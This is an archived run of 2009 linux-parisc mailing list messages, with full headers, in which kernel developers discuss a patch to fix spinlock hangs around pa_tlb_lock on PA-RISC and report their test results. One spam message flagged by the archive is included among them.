 RP(r2): _raw_spin_lock+0x18c/0x1c0
Backtrace:
 [<102d560c>] _raw_spin_lock+0x18c/0x1c0

Kernel panic - not syncing: softlockup: hung tasks
Backtrace:
 [<10113a94>] show_stack+0x18/0x28


The lock at "10644000" references pa_tlb_lock, which is used to lock the PxTLB 
broadcasts (see comment in cache.c).

So, I think we need to use the irq-blocking functions for purge_tlb_start() and
purge_tlb_end(). I did tested the patch below, and since then I didn't faced one
single hang any longer. 

The patch below is just a hack. It will need a cleanup and is just to open
discussions here on the list.

Helge

diff --git a/arch/parisc/include/asm/tlbflush.h b/arch/parisc/include/asm/tlbflush.h
index 1f6fd4f..9b92fbe 100644
--- a/arch/parisc/include/asm/tlbflush.h
+++ b/arch/parisc/include/asm/tlbflush.h
@@ -18,8 +18,8 @@
  */
 extern spinlock_t pa_tlb_lock;
 
-#define purge_tlb_start(x) spin_lock(&pa_tlb_lock)
-#define purge_tlb_end(x) spin_unlock(&pa_tlb_lock)
+#define purge_tlb_start(x)	do { unsigned long flags; spin_lock_irqsave(&pa_tlb_lock, flags)
+#define purge_tlb_end(x)	     spin_unlock_irqrestore(&pa_tlb_lock, flags); } while (0)
 
 extern void flush_tlb_all(void);
 extern void flush_tlb_all_local(void *);
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH, RFC] fix parisc runtime hangs wrt pa_tlb_lock
Date: Sat, 23 May 2009 11:26:56 -0400 (EDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <20090523152657.4FCA54FB4@hiauly1.hia.nrc.ca>
References: <4A17074D.30602@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1243092433 11058 80.91.229.12 (23 May 2009 15:27:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 23 May 2009 15:27:13 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 23 17:27:06 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M7t7m-0004F4-P0
	for glpp-linux-parisc@gmane.org; Sat, 23 May 2009 17:27:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752896AbZEWP04 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 23 May 2009 11:26:56 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753128AbZEWP04
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 23 May 2009 11:26:56 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1782 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752896AbZEWP04 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 23 May 2009 11:26:56 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 4FCA54FB4; Sat, 23 May 2009 11:26:56 -0400 (EDT)
In-Reply-To: <4A17074D.30602@gmx.de> from "Helge Deller" at May 22, 2009 10:13:01 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1705
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1705>

> -#define purge_tlb_start(x) spin_lock(&pa_tlb_lock)
> -#define purge_tlb_end(x) spin_unlock(&pa_tlb_lock)
> +#define purge_tlb_start(x)	do { unsigned long flags; spin_lock_irqsave(&pa_tlb_lock, flags)
> +#define purge_tlb_end(x)	     spin_unlock_irqrestore(&pa_tlb_lock, flags); } while (0)

To my taste, the handling of the "flags" variable is ugly and potentially
error prone.

I think it would be better to add another argument to the macros, and declare
the variable flags in the routines that use the macros (as is done for the
current users of spin_lock_irqsave macro).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH, RFC] fix parisc runtime hangs wrt pa_tlb_lock
Date: Sat, 23 May 2009 11:34:30 -0400 (EDT)
Lines: 23
Approved: news@gmane.org
Message-ID: <20090523153430.A246E4FB4@hiauly1.hia.nrc.ca>
References: <20090523152657.4FCA54FB4@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1243092880 12169 80.91.229.12 (23 May 2009 15:34:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 23 May 2009 15:34:40 +0000 (UTC)
Cc: deller@gmx.de, linux-parisc@vger.kernel.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 23 17:34:33 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M7tF2-0005HA-Hd
	for glpp-linux-parisc@gmane.org; Sat, 23 May 2009 17:34:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752359AbZEWPe3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 23 May 2009 11:34:29 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753191AbZEWPe3
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 23 May 2009 11:34:29 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1784 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752359AbZEWPe3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 23 May 2009 11:34:29 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id A246E4FB4; Sat, 23 May 2009 11:34:30 -0400 (EDT)
In-Reply-To: <20090523152657.4FCA54FB4@hiauly1.hia.nrc.ca> from "John David Anglin" at May 23, 2009 11:26:56 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1706
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1706>

> > -#define purge_tlb_start(x) spin_lock(&pa_tlb_lock)
> > -#define purge_tlb_end(x) spin_unlock(&pa_tlb_lock)
> > +#define purge_tlb_start(x)	do { unsigned long flags; spin_lock_irqsave(&pa_tlb_lock, flags)
> > +#define purge_tlb_end(x)	     spin_unlock_irqrestore(&pa_tlb_lock, flags); } while (0)
> 
> To my taste, the handling of the "flags" variable is ugly and potentially
> error prone.
> 
> I think it would be better to add another argument to the macros, and declare
> the variable flags in the routines that use the macros (as is done for the
> current users of spin_lock_irqsave macro).

Actually, the 'x' argument could be used for this.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH, RFC] fix parisc runtime hangs wrt pa_tlb_lock
Date: Sat, 23 May 2009 21:34:37 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <4A184FCD.90903@gmx.de>
References: <20090523153430.A246E4FB4@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1243107294 15128 80.91.229.12 (23 May 2009 19:34:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 23 May 2009 19:34:54 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 23 21:34:44 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M7wzU-0005Hx-2Q
	for glpp-linux-parisc@gmane.org; Sat, 23 May 2009 21:34:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751903AbZEWTek (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 23 May 2009 15:34:40 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752006AbZEWTek
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 23 May 2009 15:34:40 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:32866 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751903AbZEWTej (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 23 May 2009 15:34:39 -0400
Original-Received: (qmail invoked by alias); 23 May 2009 19:34:39 -0000
Original-Received: from mnhm-590eae49.pool.einsundeins.de (EHLO [192.168.178.60]) [89.14.174.73]
  by mail.gmx.net (mp046) with SMTP; 23 May 2009 21:34:39 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/jVFtcOpnjXLCu2LOgqTW1dwDHEqOP6KTb6XfELJ
	nMAL9Ro7/tdeN+
User-Agent: Thunderbird 2.0.0.21 (X11/20090320)
In-Reply-To: <20090523153430.A246E4FB4@hiauly1.hia.nrc.ca>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.64
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1707
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1707>

John David Anglin wrote:
>>> -#define purge_tlb_start(x) spin_lock(&pa_tlb_lock)
>>> -#define purge_tlb_end(x) spin_unlock(&pa_tlb_lock)
>>> +#define purge_tlb_start(x)	do { unsigned long flags; spin_lock_irqsave(&pa_tlb_lock, flags)
>>> +#define purge_tlb_end(x)	     spin_unlock_irqrestore(&pa_tlb_lock, flags); } while (0)
>> To my taste, the handling of the "flags" variable is ugly and potentially
>> error prone.
>>
>> I think it would be better to add another argument to the macros, and declare
>> the variable flags in the routines that use the macros (as is done for the
>> current users of spin_lock_irqsave macro).
> 
> Actually, the 'x' argument could be used for this.

I mentioned in my original mail that this is not the final version:
> The patch below is just a hack. It will need a cleanup and is just to open
> discussions here on the list.

But instead of cleaning it up right now, I would be very much interested if
this patch fixes the kernel stalls you see as well?

If it does, then I agree that we should add a "flags" argument to purge_tlb_xxx() functions, e.g.
- purge_tlb_start(lock, flags) 
- purge_tlb_end(lock, flags)

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH, RFC] fix parisc runtime hangs wrt pa_tlb_lock
Date: Sat, 23 May 2009 16:03:58 -0400 (EDT)
Lines: 43
Approved: news@gmane.org
Message-ID: <20090523200359.E57194FA5@hiauly1.hia.nrc.ca>
References: <4A184FCD.90903@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1243109057 19451 80.91.229.12 (23 May 2009 20:04:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 23 May 2009 20:04:17 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 23 22:04:10 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M7xRt-00087v-SF
	for glpp-linux-parisc@gmane.org; Sat, 23 May 2009 22:04:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751888AbZEWUD7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 23 May 2009 16:03:59 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751903AbZEWUD7
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 23 May 2009 16:03:59 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1796 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751888AbZEWUD6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 23 May 2009 16:03:58 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id E57194FA5; Sat, 23 May 2009 16:03:59 -0400 (EDT)
In-Reply-To: <4A184FCD.90903@gmx.de> from "Helge Deller" at May 23, 2009 09:34:37 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1708
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1708>

> I mentioned in my original mail that this is not the final version:
> > The patch below is just a hack. It will need a cleanup and is just to open
> > discussions here on the list.
> 
> But instead of cleaning it up right now, I would be very much interested if
> this patch fixes the kernel stalls you see as well?

I can't say that I see kernel stalls on any of my machines.  However,
I do see memory corruption that I have reported a number of times.  I also
see a user/group id bug that also could be a memory corruption bug
(pam cache).  I think there's a good possibility that your patch may
help.

I have a version installed on top of 2.6.30-rc6 on my rp3340.  I haven't
done a lot of testing with it, but it boots and I have done one kernel
build with it.  Didn't include lock in macro as you show below.

I was looking a couple of the warnings:
arch/parisc/kernel/time.c:184: warning: initialization from incompatible pointer type
arch/parisc/kernel/irq.c:123: warning: passing argument 1 of 'cpumask_setall' from incompatible pointer type
arch/parisc/kernel/irq.c:141: warning: passing argument 1 of 'cpumask_copy' from incompatible pointer type
arch/parisc/kernel/irq.c:300: warning: passing argument 1 of 'cpumask_copy' from incompatible pointer type
arch/parisc/kernel/irq.c:357: warning: passing argument 2 of 'cpumask_copy' from incompatible pointer type

The first is due to the missing argument in read_cr16.  I believe a fix
was posted to the list.

The latter warnings seem due to a change in the type of the affinity field
of the irq_desc struct.

> If it does, then I agree that we should add a "flags" argument to purge_tlb_xxx() functions, e.g.
> - purge_tlb_start(lock, flags) 
> - purge_tlb_end(lock, flags)

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH, RFC] fix parisc runtime hangs wrt pa_tlb_lock
Date: Sat, 23 May 2009 17:53:26 -0400 (EDT)
Lines: 19
Approved: news@gmane.org
Message-ID: <20090523215327.7D3704FA5@hiauly1.hia.nrc.ca>
References: <4A17074D.30602@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1243115618 2023 80.91.229.12 (23 May 2009 21:53:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 23 May 2009 21:53:38 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 23 23:53:31 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M7z9m-0001nU-Px
	for glpp-linux-parisc@gmane.org; Sat, 23 May 2009 23:53:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754335AbZEWVx1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 23 May 2009 17:53:27 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753746AbZEWVx1
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 23 May 2009 17:53:27 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1813 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754049AbZEWVx0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 23 May 2009 17:53:26 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 7D3704FA5; Sat, 23 May 2009 17:53:26 -0400 (EDT)
In-Reply-To: <4A17074D.30602@gmx.de> from "Helge Deller" at May 22, 2009 10:13:01 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1709
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1709>

> So, I think we need to use the irq-blocking functions for purge_tlb_start() and
> purge_tlb_end(). I did tested the patch below, and since then I didn't faced one
> single hang any longer. 

The preceeding comment says that disabling preemption should be sufficient.
Disabling interrupts may be overkill.

I have CONFIG_PREEMPT_NONE set both on my c3750 and rp3440.  I'm starting
to wonder if there is a preemption bug.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Montague Dale" <solidrockjc@aurigainformatica.it>
Newsgroups: gmane.linux.ports.parisc,gmane.spam.detected
Subject: Generics Offer Best Alternatives!
Date: Wed, 27 May 2009 22:29:40 +0100
Lines: 7
Approved: news@gmane.org
Message-ID: <20090527222940.8090308@aurigainformatica.it>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1243460003 3177 80.91.229.12 (27 May 2009 21:33:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 May 2009 21:33:23 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 27 23:33:21 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M9QkS-0008HQ-4Z
	for glpp-linux-parisc@gmane.org; Wed, 27 May 2009 23:33:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751170AbZE0VdA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 May 2009 17:33:00 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751514AbZE0VdA
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 27 May 2009 17:33:00 -0400
Original-Received: from chello089076016047.chello.pl ([89.76.16.47]:61737 "HELO
	chello089076016047.chello.pl" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with SMTP id S1751170AbZE0Vc7 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 May 2009 17:32:59 -0400
Original-Received: from ysocy ([78.96.127.229]) by chello089076016047.chello.pl with Microsoft SMTPSVC(5.0.2195.6713); Wed, 27 May 2009 22:29:40 +0100
User-Agent: Thunderbird 2.0.0.9 (Windows/20071031)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
X-Spam-Report: 10.5 points;
 *  3.0 RAZOR2_CF_RANGE_51_100 BODY: Razor2 gives confidence level above 50%
 *      [cf: 100]
 *  1.0 RAZOR2_CHECK Listed in Razor2 (http://razor.sf.net/)
 *  4.0 URIBL_SBL Contains an URL listed in the SBL blocklist
 *      [URIs: pefpaveiv.com]
 *  0.5 URIBL_WS_SURBL Contains an URL listed in the WS SURBL blocklist
 *      [URIs: pefpaveiv.com]
 *  2.0 URIBL_OB_SURBL Contains an URL listed in the OB SURBL blocklist
 *      [URIs: pefpaveiv.com]
Xref: news.gmane.org gmane.linux.ports.parisc:1710 gmane.spam.detected:4391245
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1710>

Buy 1, get 2 for free http://udg.pefpaveiv.com/

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH, RFC] fix parisc runtime hangs wrt pa_tlb_lock
Date: Wed, 27 May 2009 21:50:36 -0400 (EDT)
Lines: 74
Approved: news@gmane.org
Message-ID: <20090528015037.3417E4FEA@hiauly1.hia.nrc.ca>
References: <4A17074D.30602@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1243475443 6191 80.91.229.12 (28 May 2009 01:50:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 28 May 2009 01:50:43 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 28 03:50:40 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M9UlU-000359-Ao
	for glpp-linux-parisc@gmane.org; Thu, 28 May 2009 03:50:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758276AbZE1Bug (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 May 2009 21:50:36 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1760500AbZE1Bug
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 27 May 2009 21:50:36 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1293 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758276AbZE1Bug (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 May 2009 21:50:36 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 3417E4FEA; Wed, 27 May 2009 21:50:37 -0400 (EDT)
In-Reply-To: <4A17074D.30602@gmx.de> from "Helge Deller" at May 22, 2009 10:13:01 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1711
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1711>

> Since many kernel versions I regularly faced reproducibly kernel hangs when
> compiling some bigger files. The machine suddenly just seemed to hang.
> 
> With spinlock debugging turned on I found this:
> 
> BUG: spinlock recursion on CPU#0, tool/7263
>  lock: 10644000, .magic: dead4ead, .owner: tool/7263, .owner_cpu: 0
> Backtrace:
>  [<10113a94>] show_stack+0x18/0x28
> 
> BUG: spinlock lockup on CPU#0, tool/7263, 10644000
> Backtrace:
>  [<10113a94>] show_stack+0x18/0x28
> 
> BUG: soft lockup - CPU#0 stuck for 61s! [tool:7263]
> IASQ: 00000000 00000000 IAOQ: 102d55dc 102d557c
>  IIR: 03c008b3    ISR: 00000000  IOR: 00000000
>  CPU:        0   CR30: 7d1a4000 CR31: 11111111
>  ORIG_R28: 00000000
>  IAOQ[0]: _raw_spin_lock+0x15c/0x1c0
>  IAOQ[1]: _raw_spin_lock+0xfc/0x1c0
>  RP(r2): _raw_spin_lock+0x18c/0x1c0
> Backtrace:
>  [<102d560c>] _raw_spin_lock+0x18c/0x1c0
> 
> Kernel panic - not syncing: softlockup: hung tasks
> Backtrace:
>  [<10113a94>] show_stack+0x18/0x28

I have tested the proposed change using 2.6.30-rc6 and a modified version
of 2.6.22.10.  I tested using SMP kernels running on a rp3440 and UP
kernels on a c3750.  I also tested changing the macros to just use
preempt_disable/preempt_enable.

The patch doesn't cause any new problems as far as I can tell.  However,
it doesn't fix any of the problems that I currently see on these two
machines.  In particular, I see the occasional gcc testsuite timeout
using SMP kernels.  Programs that usually take a few seconds to run
timeout after three minutes.  These timeouts don't occur with UP kernels.

On the rp3440, the spinlock is definitely needed.  With just
preempt_disable/preempt_enable, a crash occurs during bootstrap
at the point unused memory is recovered.  Thus, the tlb purge
issue referred to in the preceeding comment affects more than
just N class.

On the otherhand, it doesn't seem necessary to disable interrupts
during the purge with UP kernels.  With SMP kernels, it would be nice
to know if the lockup was caused by an interruption during the tlb
purge, or a preemption issue.

I have the sense that disabling interrupts is wrong.  That is any
given CPU can only generate one PxTLB inter processor broadcast
at a time.  Disabling interrupts could cause a deadlock if a TLB
purge was needed while the purge code was executing.

The other alternative is to allow the processor that holds the lock
to enter the flush code.  This would fix the deadlock.  Don't know how
to code this (atomic compare and exchange?).

The preempt_disable/preempt_enable crash on the rp3440 made me wonder
if all tlb purge operations are properly protected with the tlb spinlock.
I think we need to look at flush_tlb_all_local and copy_user_page_asm.
They don't seem protected.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Morton <akpm@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 2/2] serial: 8250_gsc: fix printk format warning
Date: Wed, 27 May 2009 22:51:06 -0700
Lines: 36
Approved: news@gmane.org
Message-ID: <20090527225106.10fc9cc6.akpm@linux-foundation.org>
